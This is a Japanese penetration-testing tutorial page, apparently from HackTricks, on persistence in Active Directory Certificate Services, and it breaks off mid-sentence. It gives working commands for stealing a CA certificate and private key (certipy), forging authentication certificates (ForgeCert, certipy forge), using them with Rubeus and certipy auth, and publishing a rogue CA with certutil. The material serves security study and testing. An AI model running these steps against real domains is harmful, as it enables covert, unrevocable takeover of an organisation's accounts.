16 KiB
AD CS ドメインの永続化
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクション
-
公式のPEASS&HackTricksのグッズを手に入れましょう
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
-
**ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。
盗まれたCA証明書を使用した証明書の偽造 - DPERSIST1
証明書がCA証明書であるかどうかをどのように判断できますか?
- CA証明書は、CAサーバー自体に存在し、その秘密鍵はマシンDPAPIによって保護されています(OSがTPM/HSM/その他のハードウェアを使用して保護している場合を除く)。
- 証明書の発行者とサブジェクトは、両方ともCAの識別名に設定されています。
- CA証明書(CA証明書のみ)には**「CAバージョン」拡張子**があります。
- EKUはありません
この証明書の秘密鍵を抽出するための組み込みのGUIサポートされた方法は、CAサーバー上のcertsrv.msc
を使用することです。
ただし、この証明書はシステムに格納されている他の証明書とは異なりません。そのため、例えばTHEFT2テクニックをチェックして、抽出方法を確認してください。
また、certipyを使用して証明書と秘密鍵を取得することもできます。
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
CA証明書を.pfx
形式で秘密鍵と共に取得したら、ForgeCertを使用して有効な証明書を作成できます。
# Create new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
# Create new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
# Use new certificate with Rubeus to authenticate
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
# User new certi with certipy to authenticate
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
{% hint style="warning" %} 注意: 証明書の偽造時に指定するユーザーは、ADでアクティブ/有効であり、認証できる必要があります。なぜなら、このユーザーとして認証の交換が行われるからです。例えば、krbtgtアカウントの証明書を偽造しようとしてもうまくいきません。 {% endhint %}
この偽造された証明書は、指定された終了日まで有効であり、ルートCA証明書が有効な限り(通常は5年から10年以上)有効です。また、マシンにも有効であり、S4U2Selfと組み合わせることで、攻撃者はCA証明書が有効な限り、任意のドメインマシンで持続性を維持することができます。
さらに、この方法で生成された証明書は取り消すことができません。なぜなら、CAがそれらを認識していないからです。
信頼されたローグCA証明書 - DPERSIST2
オブジェクトNTAuthCertificates
は、そのcacertificate
属性に1つ以上のCA証明書を定義し、ADはそれを使用します。認証中、ドメインコントローラは、認証中の証明書の発行者フィールドに指定されたCAに対して**NTAuthCertificates
**オブジェクトにエントリが含まれているかどうかをチェックします。含まれている場合、認証が進行します。
攻撃者は、自己署名のCA証明書を生成し、それを**NTAuthCertificates
オブジェクトに追加することができます。攻撃者は、NTAuthCertificates
ADオブジェクトを制御できる場合にこれを行うことができます(デフォルトの構成では、Enterprise AdminグループのメンバーとDomain AdminsまたはAdministratorsのメンバーはこれらの権限を持っています)。昇格したアクセス権を持つ場合、certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126
を使用して、任意のシステムからNTAuthCertificates
**オブジェクトを編集することができます。または、PKI Health Toolを使用することもできます。
指定された証明書は、以前に詳細に説明したForgeCertを使用して、必要に応じて証明書を生成するために使用することができます。
悪意のあるミス構成 - DPERSIST3
AD CSのコンポーネントのセキュリティ記述子の変更による持続性のための無数の機会があります。"ドメインエスカレーション"セクションで説明されているシナリオは、昇格したアクセス権を持つ攻撃者によって悪意のある目的で実装される可能性があります。また、感